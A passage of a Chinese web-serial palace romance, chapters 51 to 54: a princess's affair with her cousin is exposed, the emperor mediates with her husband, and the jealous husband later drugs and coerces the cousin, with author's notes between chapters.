前几天还有些不尴不尬的关系,好像因为双方的身份转变摩-擦出了新的火花,山照这会看表哥也是格外的顺眼。 没有介意他此刻的木讷,反而是挥退了婢女们,反而包间里面够大,婢女们在屏风外吃也是一样的。 杨力行心头更热了。 “表哥,你今天怎么这么容易害羞。” 杨力行红着脸把自己之前的幻想小声告诉了山照。 山照哈哈笑了起来,笑声里是轻松畅快。 而后她装作认真思考,实则是在调笑杨力行,说:“这我得认真想想。” 打量几眼杨力行,又摸-摸他脸,笑一声。又带着笑,继续看几眼,这会直接上手往胸口摸了。 杨力行连忙按住作乱的手,眼睛却不住往屏风处瞟,十分害怕被婢女们发现这些动静。 山照也只是起了玩心,并没有想在吃饭的地儿干什么。 ‘一品居’毕竟能占着这么大的一间店面,饭食自然是好的。 山照没一会就吃饱了,浑身有点懒洋洋的劲儿。 “回了吧。” 她看向杨力行。 杨力行也不知道自己吃饱没有,只知道‘嗯’。 “晚上来找我,给你留门。”山照最后又含-着笑摸了一把,杨力行已经忍耐不住了,自顾自冲出了门,牵他的牛去了。 ** 月刚扶摇,星光渺渺。 山照的寝宫却早早就关门闭户,只有小桌前还有一盏灯烛幽幽散着光,正中的床铺,已经落下的床帘,隐约一对交颈鸳鸯。 一个多月了…… 寒冷的冬夜里,男子赤着身浑身汗涔涔的,他仿佛在进行一场疲累无比的角力,喘息声越来越急促,像交战时的鼓声,越到要紧之时,鼓声就越强。 直到最后,也不知是战胜还是失败,终是偃旗息鼓。 两人紧紧依偎着,温热的躯体好似融化在一处,皮贴着皮,肉贴着肉,一起听着彼此的心跳从擂鼓到动兔。 世界安静下来。 心也安静下来。 “以后我都听你的。” 杨力行的声音还不稳,但他又重复了一遍:“以后都听你的。” 山照轻轻应和了一声,困倦到闭上眼。 男子的手摇了摇床角系着的铃铛,等待着婢女们送水进来。 但没想到,屋门忽然传来一声巨响,瞬间开了。 杨力行立刻就着被子抱住了山照,抬头看向外面。 他还在惊讶,到底是谁竟然敢在公主府破门而入?门外婢女为何没有阻拦的声音?就看见—— 驸马。 驸马的眼神像刀子一般锐利,直直的扎向杨力行,他腰间挎着一柄长剑,反手就要抽出来。 山照一下就意识到了发生了什么,她又转身抱住表哥,未着寸缕的身体露出莹白的背部和双臂。 孟浴恩终究是没有对着公主拔出他的剑。 但是…… “奇耻大辱!奇耻大辱!” 他怒目看向山照:“殿下,我究竟哪里做的不好,你竟然……” 他的胸膛随着急促的喘息而激烈起伏,才咬着牙吐-出一句:“我要杀了这个奸夫!” 他走上前,拉住山照的臂膀,略一使劲,山照就发出轻哼,显然是捏痛了。 “殿下!你竟然还护着他?!” 杨力行虽然也慌乱,但看驸马这来势汹汹问罪的架势,他哪里肯躲在表妹身后,毫不退让般说:“穿上衣服我们出去说。” 孟浴恩眯了眯眼睛,眼神中有确实的杀意闪过。 “你是什么身份,一个卑微的车夫,也配跟我谈?” 他丝毫不把杨力行放在眼里,在他看来,杨力行是必死无疑了。 他只是恨公主,竟然真的如此不把他放在眼中。难道成婚这么久,真就一点动容也无? 机会是他找的,事情却是山照做的,孟浴恩不觉得自己有错。 “那就我跟你谈。现在,你给我出去!” 山照缓过劲了,这会再说什么都是多余的。她不知道怎么就会被驸马抓个正着,难道他知道这会有事?还是有人出卖了她? 她脑子乱糟糟的,却也并不害怕。驸马又能把她怎么样? 只是……只是,唉…… ** 屋内点了十几处烛火,到处亮堂起来。 一夫一妻的相处的气氛却降到冰点,相对无言,互相僵持。 最后还是山照坐不住了:“驸马,你要说什么就说吧。我困了。” 孟浴恩真笑了,她是怎么做到这么心安理得、理直气壮的? 哪怕这‘抓奸’的戏码是他自己策划的,但是公主不应该更慌乱更愧疚一点吗? “你承诺我,以后没有这样的事情了!” 山照看着他。 沉默就是拒绝。 “把他杀了!” 依旧是沉默着拒绝。 孟浴恩围着山照转了一个圈,手攥紧了又松开,攥紧又松开,最后连说了几个咬牙切齿的好字。 “那就进宫。明日请陛下做决断!” 山照轻叹一声:“父皇知道。” …… 孟浴恩转过身盯着她,双眸印着烛火,也好似燃了起来。 “我!不!信!” 第52章 第 52 章 卖身为奴 虽说孟浴恩表现出了极大的愤怒, 但还有理智在身,干不出来深夜进宫的蠢事。 于是他们还是第二日早上才进的宫,只是两人到了出发前都是一言不发的冷漠态度。 山照看着驸马, 心底有种奇特的畅快-感。 她自然能感觉出来驸马隐藏在温和面具下的自以为是,他以为凭借他的人品、相貌、才学足够让山照倾心, 所以只是徐徐图之。 可是, 山照要告诉他:他是错的。 感情不是天平, 并不是谁下的砝码更重, 就能得到偏向。 “表妹,带上我吧。”看到他们准备出发, 杨力行鼓起勇气从屋里出来, 拉住了山照的衣袖。 山照没有想带表哥进宫,上次表哥被父皇整治得很惨,她怕父皇还是会迁怒表哥。在父皇的心里,驸马肯定是比表哥更有价值的。 可杨力行的态度十分坚决:“表妹, 这件事情,我不能逃避。” 哪怕他一无所有,也不愿意在昭明帝面前示弱,他只有一颗真心能够接受考验,也不畏惧被考验。 “哪怕陛下不认可,我也要站出来,我不能让表妹独自面对这一切。” 山照心里瞬间熨帖了:“好,那我们就一起面对。” ** 早上递的帖子, 到了下午, 山照他们才得到了召见。 孟浴恩进门就是叩首一拜,山照和杨力行则是行礼。 昭明帝一见进来的三人,就猜到了是什么事情, 但他这会还得装不知道,于是只是看跪着的孟浴恩:“驸马……这是为何啊?” 孟浴恩就开口将事情的来龙去脉讲了个清楚。 “一个洒扫内院的婆子说这些日子总见一个陌生男子在公主院中,昨日才分辨出竟然是新来的车夫。臣本是不信的,想跟殿下商议这流言如何处理,却不料听见了些不雅动静……” “这才发现公主竟然另寻新欢……陛下,殿下既然不喜臣,臣便自请和离,也好成全这对‘有情-人’。” 他在说‘有情-人’这三个字时险些没有控制好表情,语气更是不好,几乎是咬着牙才艰难说出的。 但随后他又是一拜:“无论如何,臣强闯公主寝房一事实在是错,请陛下责罚。” 他站在道德高处,倒让昭明帝不知道说什么好了,供养情-夫这样的事情毕竟不体面。 但昭明帝深知泰和是不可能嫁给这个平民的,便是和离再嫁也是会是一样的剧情上演。既然如此,倒还不如将就着这个,就这么稀里糊涂的过着算了。 “驸马莫急,这里面或许有些误会。” 于是使了个眼色,叫山照说话,他心想好歹能辩解两句。 没想到山照直接承认了,她先对着孟浴恩道歉:“是我对不起驸马。其实我早就心有所属,也实在不是个安心过日子的人。” 她面对着昭明帝也是行了一个大礼,头埋得深深,杨力行见状也跪了下来。 “还请父皇成全。儿臣愿跟驸马和离。” 昭明帝冷笑:“你们是觉得朕做的媒不好么?” 他看向孟浴恩,垂眸而视,一种深沉的无言的压力从这个眼神中传递出来。 孟浴恩连忙改口了:“陛下赐婚是臣阖家之幸,只是……” 他既然不能怪这婚赐的不好,也不能怪公主的不贞,便只能怪破坏这一切的第三人了。 孟浴恩看向杨力行,露出不忿:“这人蓄意破坏臣与殿下的姻缘,当诛之!” 山照立刻怒目而视:他居然还是想杀表哥! “父皇,儿臣根本一点也不喜欢驸马。事情都已经这样了,父皇不如成全儿臣!” 山照心想事情已经到了这一地步,也没什么好瞒的了。便直接对孟浴恩说了她跟表哥的年少情谊、曾经婚约。 “你才是后来者,有什么立场说表哥破坏了我们的姻缘?是你的插-入,破坏了我跟表哥的姻缘才是!” 山照越说越起劲,昭明帝只淡淡说了一句话就让她瞬间哑然。 “和离也可。朕再给你赐一门婚事就好了。” “泰和觉得如何?” 一锤定音。 山照愣在当场:“父皇……您怎么能这样?” 她知道昭明帝说的婚事不可能是她和表哥的,但没想到现在这样了昭明帝依旧没有放弃用她联姻的想法。 “父皇,儿臣身份再贵重,一旦和离便还是再嫁,又哪里能跟重臣联姻呢?” 山照不知道昭明帝为何非要这样,但哪怕是终生不婚也比再嫁好。 如果再嫁,她还不如继续跟孟浴恩过下去呢!孟浴恩虽然高傲但也确实没有做过勉强她的事情,谁知道下一个是什么品行? “这倒是不必泰和操心了。你告诉朕,如果这般,你还要和离吗?” 又是威逼! 山照不忿极了,但也知道胳膊拧不过大-腿,昭明帝决定的事情她暂时还反抗不了,只能窝窝囊囊的把问题扔给孟浴恩。 “如果驸马同意我跟表哥双宿双栖,儿臣自然也可以不和离。” 哪个男人能受得了一女二夫,山照料想驸马心高气傲的,必定不会接受。 孟浴恩果然大为惊讶,侧过头看她,似乎没有想到公主竟然是这样厚颜无-耻之人。 但他也不是任人揉-捏的性子,心里也堵了一口气,一拱手道:“若是陛下诛杀此人,臣便当做此事未曾发生过!” 一个要杀,一个要留。 两人对视着,一步也不肯退,气氛瞬间剑拔弩张。 昭明帝忽然觉得好笑,他连后宫争风吃醋都没时间管,没有想到自己还有掺和儿女家庭琐事的一天。 抱着这种看热闹的心情,昭明帝看起来就格外游刃有余,在旁人眼中,特别是山照眼中,就是一个极其不好的信号了。 她很害怕父皇答应驸马,于是紧绷着表态:“父皇!你要是伤害表哥,我就再不会听你的话了!” 这么幼稚的警告,昭明帝只是抬了抬眉表示自己听到了,没当回事。 不过杀了杨力行的确不是最好的办法,驸马说和离也不过是借题发挥。孟家还没得到自己想要的,怎么会轻易放手。 昭明帝略思索,还是决定和稀泥:“驸马,泰和年纪还小,你多包容些。等你们生下孩儿,还有什么不能过去的呢?” 孟浴恩真的要被气笑了,陛下偏心也不是这样偏的,他侧头看了眼山照,不见多少愤怒,倒有七八分的幽怨:“哪会有孩儿?殿下根本不让臣进屋……” “倒是整日跟这人蜜里调油……” 说的话酸了一屋的人,他自己倒仿若未觉:“殿下真有喜事,也不会是臣的。” 昭明帝品出来一些意味,他仿佛看穿一切一般又点了点三人,然后将山照带到内室单独说话。 山照虽然心气不顺,但害怕昭明帝又乱点鸳鸯,倒是颇为老实。 “你听明白驸马的意思了吗?” 山照疑惑:什么意思? “驸马啊,要一个孩子。或者说,孟家想要一个孩子。” 山照当即拒绝了:“儿臣不会给他生孩子的。” 但她又真的很困惑:“孟家为什么非要娶儿臣呢?按理说孟浴恩的官做的好好的,他也不知道父皇会破例给他赐官,若是父皇非要他任虚职,孟家下一代不就没人来撑了吗?” “那是因为泰和你没有想过跟驸马有个孩子,不然这个问题你应该自己就能想明白。” “他们想改换门庭?可是儿臣生的孩子,也不过是个郡王,这一代或许还光鲜,下一代就不行了。” 山照觉得孟浴恩不会想不明白这点,但凡宗亲只有最直系的那一代最光辉,后面也不过做个富贵闲人,又因带着皇室血脉不能科考,只能是一代又一代的落寞,直到跟平民无异。 昭明帝不紧不慢的引导:“你知道孟家是怎么发迹的吗?” 靠叛主求荣呗。 山照第一反应就是这个词,但随即考虑到昭明帝的立场,改口:“是慧眼识珠、投靠明主。” 昭明帝轻哼一声,没计较山照的虚假吹捧。 “他们是顺臣,本就用名声和性命博了一世富贵。此刻自然想的是,怎么把富贵延续下去。至于宗亲不得参与科举做官的礼法,他们自然也是知道的,但现在的困境不解决又何来子孙后代呢?” “便是皇子们,只要没有承继皇位,后代子孙不也就慢慢变成宗亲了。除了高贵的血脉,也不享有什么权力了。” 山照没听懂这中间有什么因果关系:“他们延续富贵也不需要通过联姻啊?其实驸马还是很有才干的,父皇未必用不到。” 昭明帝摇头:“因为背叛过别人的人,总是害怕被别人背叛。他们啊……” “怕我,秋后算账呢。” 昭明帝用这种不咸不淡的口气说了这么一句让人心里发寒的话。 山照看向昭明帝,张了张嘴,却问不出一句:那父皇你会吗? 原来如此……原来如此。 山照真是有些可怜驸马了,原来就是因为这个,所以才千方百计的讨她的喜欢吗?才能接受被她背叛…… “儿臣还是不会给他一个孩子,儿臣不愿跟不喜欢的人在一起……” 同情是同情,原则是原则。 山照这点还是能分清楚,她不会因为共情孟家而委屈自己。 “就算是别人的孩子,也不愿意让他叫驸马一声父亲吗?”昭明帝耐心要耗尽了,舍弃那些弯弯绕绕直接点出关键。 “什么意思?”山照问了出来,又自问自答道:“他的意思是我跟表哥的孩子,只要叫他父亲,他也愿意?” “这……” 驸马退让到如此地步,山照惊到没有话说。 他图什么啊? 哦,对,旁人又不知道孩子是谁的,叫他父亲也就算是孟家的孩子了。 “可是,父皇你不是知道吗?如果真的想干什么,也没有顾虑啊……” 昭明帝耐心归零,他实在没有时间一句一句解释清楚。 “还有不明白的就自己多想想。实在不行问赵仪。” 看山照还呆站着,昭明帝直接挥手赶客,然后召了孟浴恩进来。 也不知道他们说了什么,总之再出来之时,孟浴恩脸上的气愤就已经完全消失不见了,取而代之的是一种参杂着失落和无奈的低落情绪。 牛车静默将三人送回府。 山照觉得事情就到此为止了,下车直接往内院走去,却被孟浴恩拦住了。 “殿下,请容臣再说两句。” 山照顿步,主动换了个地方。 她还是不明白,得到一个叫他父亲但不是他血脉的孩子,驸马在想什么?但这好像是对她来说最好的一个结果了。 山照还是有些愧疚的:“驸马……我知道这对你不公平,但,哎。” 山照感觉自己接下来无论说什么都好虚伪,只能无言以对。 孟浴恩的面容平静了许多,但这种平静又仿佛深邃的水面,看起来平静又好像隐藏着什么。 “谢谢殿下成全。” “臣近期公务繁忙,丞相府离国子监更近,臣这段时间便归家去了,还望……殿下早得喜讯。” 孟浴恩这样体面的退出,山照有点无所适从,但也没有挽留的理由。这府里,他本来就好像是多余的那一个,不需要顾及驸马的话,表哥也会自在许多。 她终是没有挽留,也没有再说什么。 “驸马,祝你一切都好。” 也好,如果驸马自愿退出,看在这份上,她也会看顾孟家一些的。 ** 孟浴恩回了西院,便真的开始叫仆从们收拾常用的东西,然后自己在书房静坐着,也不知道在思考什么。 立余陪了一个时辰,实在有些忍不住,但他没有开口问什么,只是不住的瞄着孟浴恩,似乎是想从他的表情里面看出些什么。 立余不明白少爷明明在公主身上花费了许多心力,为什么这么轻易就放弃了,还主动退出。 “你在看什么?” 立余皱着眉想得出神,没注意到孟浴恩已经走到了自己面前,惊了一下,而后不好意思的挠挠脖颈。 “少爷,咱们真的要回府啊?” 孟浴恩默认:“你要是不想走也可以留下来。” “那,还是不用了。但是,但是公主这边……?”立余表情纠结,五官都皱到一团了。 “退也是进。我在这,他们还不是一样的。不如体面些离开。” 是吗? 立余心里还是觉得怪怪的,他觉得少爷不是这么轻易放弃的人,但少爷不说,就是不想告诉他。 立余这点分寸还是有的,只当做被说服了,将此事按下不提。 ** 不再害怕被孟浴恩察觉出之后,杨力行过上了正常的生活。 杨力行现在也想明白了,他要开始参加武举,正大光明获得一个官身。 他现在正是最身强力壮的时候,只要认真学习,未必不能获得武举人乃至更高位的身份。 表妹如今此生无忧了,也对他没有别的期盼,但他心里始终有个地方不甘心,他不想一直被人瞧不起。 与此同时,另一件事却沉沉压-在他心中。 他和表妹到底有没有问题?是谁有问题? 杨力行自己纠结了许久,却没说出口,他打算自己先找个医师看看。 但他不想给山照压力,于是找了个在府里呆久了的借口想出去透透气,这才出府。 出门直奔上京颇有名气的‘甘露堂’,这家医馆的主人章知春是有名的大夫,医术高超,尤善生子科。 章大夫约莫有四十来岁,却已经有些慈眉善目的感觉,他抬头一望来人便有些疑惑。来他这看病的男子也有,但这青年分明体格健壮,不似需要求医的样子。 杨力行本来是做好准备自己先来问问的,但是坐了下来,面对陌生的医师,又是问的这种敏感问题,一时间有点张不开口。 “公子,后面还有许多病人……” 杨力行可以不说话,但医馆每日可是不缺病人,耽误这一会,就能多看一个人。 杨力行先道歉,然后磕磕巴巴的说出了自己的来意:“大夫,我跟妻子成婚已经半年了,但一直没有孩子,是不是……” “半年的时日尚短,公子不必着急。” 杨力行却说不出自己内心的那种焦急,他伸出手腕:“章大夫,便先给我看看吧,若是没有问题自然是好。” 章大夫见过的人太多了,杨力行这种倒也不算过分的,于是将右手搭上了杨力行的手腕。 初时,章大夫还十分轻松,手指搭上去之后,那双眉却是越来越紧。 看得杨力行心慌极了,他心想:难道我真的有问题? 章大夫摸了又摸,又频频抬头看杨力行,最后还是颇为谨慎道:“公子近期是否有不郁之事,抑或是落过水?” “最近家中是不太平,至于落水……”杨力行不能肯定昭明帝之前对他用的水刑是否伤身,又不能跟大夫说真话,只能编造一点:“一年多以前洗过两回冷水澡。” “公子确实需要调养,精寒气郁,这不育‘六病’便占了两样。若不好好调养,子嗣上确实艰难。” “大夫,这病能治吗?” “公子年轻,慢慢调养便是,子嗣一事还得心情舒畅才更顺利。” 事实上章大夫想说,这么年轻便有如此重的症状,恐怕治愈的希望很渺茫。但医馆到底是开门做生意的,不敢将话说的这么死,只能柔和了又柔和了再说。 杨力行听不出章大夫的避重就轻,还以为是调养一番便能治愈的事情,连忙感谢大夫,又开了几帖药,这才拿着药出了医馆。 杨力行本来买完药就要离开了,但‘甘露堂’距离山照爱吃的一家糕点铺不远。 他便绕了一条街,打算买点糕点再回去。 却不料,在坊市门口看到了一个陌生又有些熟悉的年轻女子。 她跪在墙边,发间插了一支长长的草梗。 这是自卖自身的意思。 “双喜?”杨力行难以相信,前些日子心善救助过自己的小姑娘竟然沦落到卖身为奴的境地—— 作者有话说:提前祝大家元旦快乐! 第53章 第 53 章 双喜报恩 杨力行什么也没想, 连忙走到双喜面前,轻声问:“这是发生什么了?” 双喜一愣,一开始并没有认出杨力行。 因为杨力行跟之前落魄的样子完全不一样了, 他穿着锦袍佩着玉佩,俨然一副富贵公子的模样。 但好在时间没有过去多久, 双喜只是回忆了几秒钟, 而后脸上就显现出恍然大悟的神色。 “是……之前那位公子?” 明明是只有一面之缘的陌生人, 双喜却忽然像是找到了主心骨似的‘哇’一声哭了出来。 可她有点不知道该怎么跟杨力行说, 他走后自己遇到的事情。 杨力行安静让她哭,他知道人在难过的时候哭一哭也是好事。 沿街的人本来还走动着, 见这两人有了交集, 竟慢慢聚拢过来,似乎是想听他们的交谈内容。 杨力行觉得这样不行,便拉起双喜,又拔了双喜头上的草梗:“跟我来, 我找个地方好好聊。” 杨力行随便找了一处茶馆,进了包间,又叫店家上了碗羊肉汤。 双喜抱着碗又开始抽泣,她没想到杨力行能注意到她这会又冷又饿。 平复了下情绪,才将一切跟杨力行说了个清楚。 “不知在哪受了寒气,爹忽然在夜里高烧不退,我请了医师,却不知怎么一直没有退烧。后来又换了几个医师, 都说自己医术不精, 治不了。” “有个医师说若能请到仁心坊的唐大夫或还有机会,可唐大夫一次出诊便要十两银,更别说开药了, 总之我们是看不起的。娘本来是照顾着爹,知道这个坏消息便也病了。我……我没法子了,只能卖了自己换两个钱……” 杨力行闻言便立刻表示自己可以出这个钱。 “其他都不提了,先治病要紧。”杨力行身上没带多少钱,他本来就是花的山照的钱,自然不会乱用。 但他身上的配饰能当些银钱,大不了之后再赎回来。 说干就干,没一会杨力行就带着双喜,把自己的玉佩活当了五十两银子,又出了诊金请了那位唐大夫出诊。 那位唐大夫也确实有两下子,把了脉又看了眼睛舌苔等,施了针、用了药,没到两个时辰,双喜父亲便真的退烧了。 双喜喜极而泣,看向杨力行的表情简直说不出的感激。 “杨公子,双喜真不知要如何报答你……”转而她又想到诊金和药费一共二十三两的花销。 他们一家人一年的嚼用也不过五六两银子,这二十多两……她从哪里去找呢? “杨公子……我还不上这钱的,不如,不如还是买了我吧。” 杨力行自然是拒绝的,他现在也不缺这个钱:“就当是报答你当时救我的恩情了。之前我身上没带钱,确实也没有好好报答你们。” 双喜摇头,她不过十三四岁,脸上却已经有了些成人的坚毅:“爹从小教我,做人要知恩图报。杨公子的恩已经用那半屋子的柴火还了,剩下的便都是我们欠的。” “可是便叫我们干上三五年也还不上这笔钱,杨公子,你府上何处,便权当买了一个小丫鬟,叫我还了这恩情吧!” “这……这……”杨力行不擅长与人交涉,不知道该说什么话来拒绝。 但他实在不想要双喜用这种方式报答他,于是又留下了几两银子,便这样逃也似的回府了。 他身上的饰品都是有数的,少了块,婢女们自然要问。 于是没到晚上,山照就知道了这事。 几十两银子自然不是什么大事,不过山照倒是好奇他外面还有认识的人,觉得有点稀奇。 杨力行很不好意思的说了之前吵架出走的经历。 山照垂眸,眼里有些心疼:“不过是吵架,你倒是何必如此……” 吵架的时候,两人失落归失落,埋怨归埋怨。到底情绪过去了,好的记忆便压过了那些不好的。 “是我不好。不提这些事情了。” 杨力行道歉。 两人就将这件事情抛之脑后了。 却没想到,三天后,去赎回玉佩的小厮告诉杨力行,有个姑娘跟着回了府,点名要见杨公子。 杨力行没想到双喜会找到公主府来。 他请双喜进来,但也很疑惑:“难道是病还没好吗?” 双喜摇头,而后小心翼翼的打量了一下屋内的陈设。她看起来有些战战兢兢的,似乎是被公主府的威势惊到了。 但她随即眼神一凝,十分郑重的跪了下来:“杨公子,爹爹已经醒来了,娘心病也好了。” “爹娘都说不能因为杨公子富贵占了便宜,还是要还上这笔钱。可是我家大哥还在服劳役,要三月之后才回家。便是回来,我家一个月也赚不了几个钱,怕是一辈子也还不清。” 她面上羞赧:“希望杨公子不要嫌弃双喜蠢笨,便让奴报答您的恩情吧。不拘做些什么……” 别人都追到府上来了,杨力行更加不知道说什么,他也没有权力收下她,只能告诉了山照。 山照听着便笑了:“倒是仁义的一家人。” 她不是没想过,双喜一家或许早就打听了,想要趋炎附势才贴着公主府的可能。 但表哥着实是没有怎么出过门,更别提那日他跑出门晕倒的时候,那家一定是不知道表哥身份的。 况且良民是很难下定决心将自己卖入奴籍的。 “便叫她入府吧,外院虽然不缺这么个人,但加个人也没事。” “既然她要求个心安,便成全她吧。也不必叫她入奴籍,签长佣吧。” 举手之劳,山照并不介意成全别人。 如此,双喜便成了公主府一个不起眼的小丫鬟。 她有一把子力气,便分去了厨房做杂活。 ** 外院厨房主要是给府里的奴仆们供餐,每日需要烹煮的东西十分多,因此厨房杂役几乎算的上是最累的活。 但双喜适应颇为良好,她往常在家也是起得早睡得晚,还没有进府吃的那般好,没到几天身上硬生生长了一圈肉。 她轻门熟路的到了杨力行的房间外,敲了敲门。 虽然驸马走了,杨力行也并没有搬到内院去住,只是晚上跟山照相会,早上便回。 双喜敲门的时候,他刚晨练回来,身上的热气都还没散尽,就这样带着热烘烘的暖意开了门。 “杨大哥,你看这是什么?” 自从知道杨力行不过是府上的车夫,双喜便默默改了口,不叫他杨公子了。 她献宝似的从怀里掏出一块手帕包着的物事。 杨力行并不是第一次接受双喜的礼物了,他看了一眼便知道这是什么:“这糕点你估计都没吃过,不必拿给我。” 双喜喜盈盈的脸立刻便黯淡了下去。 “杨大哥,是不喜欢吃么?” 杨力行知道她年纪小或许只是想谢谢自己,但三天两头带东西来,表妹若是听到风声没准心里也会介意,他现在不愿意有一点让表妹不高兴的事情。 “双喜,你签契的银钱既然给了我,我们便两不相欠了。实在不必再拿东西给我。” 杨力行试图划清界限。 “可是签契只给了五两银子,剩下的只能按月拿,还差杨大哥这么多钱,怎么能就这样算了呢?” “我说可以了就是可以了。双喜,你不必觉得欠我了。好好过自己的日子吧。” 双喜仿佛察觉不到杨力行的言外之意,依旧不依不饶的试图还他恩情。 她也执着,杨力行不收吃食,她依旧隔三差五的来。有时见杨力行衣服破了旧了,便想替他缝补。 还缝了鞋子想送他。 杨力行内心是很感动的,可却不敢收她的礼物,只能多多外出,不敢在屋内久待。 但便是努力错开时间,他还是会被双喜堵个正着。 杨力行皱眉,真有点不耐烦了:“双喜?你又来干什么?” 双喜被他这样的态度吓了一跳,脸上浮现出委屈。 “杨大哥……我跟爹娘说了这事,爹娘叫我请你去我家吃一顿饭。”她生怕杨力行不答应:“吃了这顿饭,爹娘说他们也可以放下心了。杨大哥你放心,我再也不来打扰你。” 杨力行虽然有些不满,但别人是来报恩,他也不能说的太重。 只能勉强答应了,但再次跟双喜申明了:“吃完饭之后,以后不要来找我了。” 双喜高兴点头:“杨大哥要是有时间,今天晚上就可以!” 于是两人便约定了下午下值之后一起出府。 ** 既然是做客,杨力行还是去买了一包点心作为礼物。 见面、招呼、吃饭,一切都很正常,但又不太正常,杨力行吃着吃着忽然感觉一阵困倦袭来,几乎让他睁不开眼睛。 他感觉到了不对,但这会已经没有动作的力气了,只能眼睁睁感觉自己彻底失去知觉。 在昏迷过去之前,杨力行心中只是盘旋着一个疑惑:他们……为什么? 再次醒来的时候,天已经完全黑了。 杨力行感觉自己很不舒服,说不上来那种不舒服具体指的是什么,浑身无力又有点燥热,像发热,但意识又很清晰。 他发现自己被捆在床上,又一眼就看见了屋内坐着的双喜,愤怒一下就涌出来:“为什么?你要干什么?” 他是愤怒,也是受伤的。他有哪里对不起他们?他们为什么要这样对他。 哪怕杨力行这会没有受到伤害,但给他下药,把他捆起来,谁都知道这是在干坏事。 他脑中蓦然有了个想法:他们不会是知道他跟山照的关系,想用他来要挟表妹吧? 这种猜想让他心里更惊更怕了,他顾不得自己的处境,用力挣扎起来。 “杨大哥,你别费劲了。” 双喜脸上说不清楚是哀伤还是什么,总之没有奸计得逞的欣喜,她甚至错开了杨力行看向他的眼神。 “绳子绑的很紧,你这样只会弄伤自己。” “你们把我绑来要干什么?我……帮过你啊双喜!” 双喜的眼神变了,她喃喃道:“我知道。我真宁愿没有捡到你,没有捡到你就不会有现在这些事情了。” 她说着,情绪也激动起来,抓着杨力行的衣袖,质问:“杨大哥,你为什么会是公主的面首?天底下那么多女子,为什么你要喜欢一个有夫之妇?”!!! 杨力行大惊。 她怎么可能知道?她怎么会真的知道? 杨力行感觉到更多的不对劲了,不对,不对,这是奔着他来的。 就在这时,关着的房门忽然动了,屋内的烛光泄了出去,尽管那烛光微弱,但杨力行还是看清了推门人的脸。 “驸马?”他惊呼—— 作者有话说:生出来了!!!!但是最近真的太忙了,可能要缘更一段时间,不过应该会在春节前完结。宝子们可以囤一囤。 第54章 第 54 章 真心变心 冬日的夜晚, 比墨还深沉,除了微微星光,几乎没有光亮。 因而当孟浴恩推门进入时, 屋内的光不过是泄出寸深,更多的是黑暗, 他的身躯裹在粘稠的黑暗中, 形同鬼魅。 杨力行从心的更深处察觉到了一种恐慌, 他虽然从来没有独自跟驸马交流过, 但他知道他们一旦面对面,就不可能会是好事。 孟浴恩的神色却很轻松, 一种胜券在握的轻松, 他已经笃定,今日之后,再也不会有这么一个人横亘在他和公主之间。 “还没开始吗?” 双喜闻言轻颤了下,她咬着唇, 也很不愿:“大人,真要如此吗?” 孟浴恩冷哼了一声,嘴角勾起,却没有一丝温度。 “你需要我送你一点礼物才能开始吗?比如手指?” 双喜不敢置信的看着他,立刻摇头:“不不不,千万不要!大人,我这就开始!” 说罢,便也顾不得羞-耻, 走向绑着杨力行的床榻, 脱起自己的外裳。 杨力行往里缩了缩,瞳孔惊恐得缩小:“你们在说什么?” 他看向驸马,他现在知道这一切肯定都是驸马的授意:“驸马?你要做什么?” 孟浴恩背对着他们坐了下来, 闻言动也没动,摆明是不想回答。 杨力行再迟钝,当看到双喜已经脱到只剩小衣的时候,他也知道驸马是什么打算了。 实在是太阴损了!竟然是想通过坏他清白的方式拆散他跟表妹! 他闭上眼奋力挣扎,但全身无力,除了给自己挣扎出一身热汗之外毫无作用。 感觉到一双手颤-抖的摸上自己的身体,杨力行浑身汗毛直竖,他整个表情都在表达拒绝,可双喜却只能无视。 一端是自己的清白,一端是爹娘的性命,双喜没有选择。 “驸马!驸马!你真以为这样就可以拆散我跟表妹?除非你杀了我,不然我肯定会告诉表妹的。” 听到这句话,孟浴恩有了反应:“既然我敢做,就不怕公主知道。” “你们郎情妾意、招摇过市的时候,不也没有顾及到我的尊严吗?” 但孟浴恩也并不打算让杨力行真跑到山照面前告他的状,他看向杨力行的眼神满是傲慢:“你知道为什么她会听我的话吗?” 他表情戏谑:“因为我啊,用她爹娘的性命要挟。而你,你不也有爹娘吗?” 杨力行没有怀疑驸马有这个能力,他马上劝阻:“不!别动爹娘!你……你不害怕被查出来吗?你不懂表妹,她知道真相的话,就永远不会接纳你的!” 孟浴恩为他跟山照如出一辙的天真笑了:“你别把我想的太蠢了,你知道吗?我的人在你家蹲了半年,足够将一切做的天衣无缝。” 说到这里,孟浴恩眼底流出一些恨意,冰冷、锐利。 “我忍的够久了。杨、力、行,你说,我原谅了公主的不贞,她会原谅你吗?” 药效起来了,杨力行的双眼通红,感受到下-体的异样,连说话都变得费劲。 杨力行的衣服已经被脱到只剩一件,他来不及思考更多:“驸马,我们可以谈谈!我知道你喜欢表妹,我们不是不可以谈的!” 双喜的手未停,继续向下…… 杨力行咬着牙喊出:“我可以退出!驸马,给我一点时间,我们谈谈!” 依旧没有应答,杨力行甚至都怀疑驸马是不是根本没有在听,但忽然双喜的手停了,他敞开的胸口感受到凉意。 杨力行睁开眼,驸马依旧仿佛不在意般坐在原地。 但这都是色厉内荏,杨力行知道如果不是驸马做了什么,双喜是不会停手的。 “驸马,让双喜穿上衣服出去吧。我们谈谈……” 双喜看了眼孟浴恩的脸色,默默捡起衣裳,然后退了出去。 屋内只剩两人,却一时间没人开口。 整个房间充斥着无声的沉默。 “想拖延?”孟浴恩开口。 杨力行的思绪乱极了,他都不知道他为什么能够说出那一句:我可以退出! 他可以退出吗? 他想不明白。 他不应该退出,但现在似乎有了一个不得不退出的理由。 在驸马的强逼下,他不可能做到无视爹娘的性命,双喜也不能。那么干净一点的退出,跟彻底被搅乱后退出,又有什么不同呢? 昭明帝的否定、旁人的眼光、跟山照的分歧,每一点都在拷问杨力行,你真的有那么爱她吗?真的可以无视一切爱她吗? 他仿佛找到了一个说服自己的理由,他想放弃了。但放弃也是充满疼痛的,这种无奈和心痛甚至压过了药物带给他的沸腾。 他感觉自己身体发热,心里却在发冷,整个人仿佛被割裂成两半。 “我可以退出。” 他再次重复了一遍,像给自己打气。 “但是驸马,你真的喜欢表妹吗?你不会做伤害她的事情,对吧?” 孟浴恩不想回答他这么无聊的问题,但杨力行睁着通红的双眼,还在坚持着问他要一个答案。 他都觉得有点佩服杨力行了。 “我跟公主,不成爱侣,便成怨偶。” 这句话满是不甘和执着,杨力行听着却笑了:“你确实是喜欢表妹的……” 他竭力忽略身体异常的感受:“好,我配合你……” 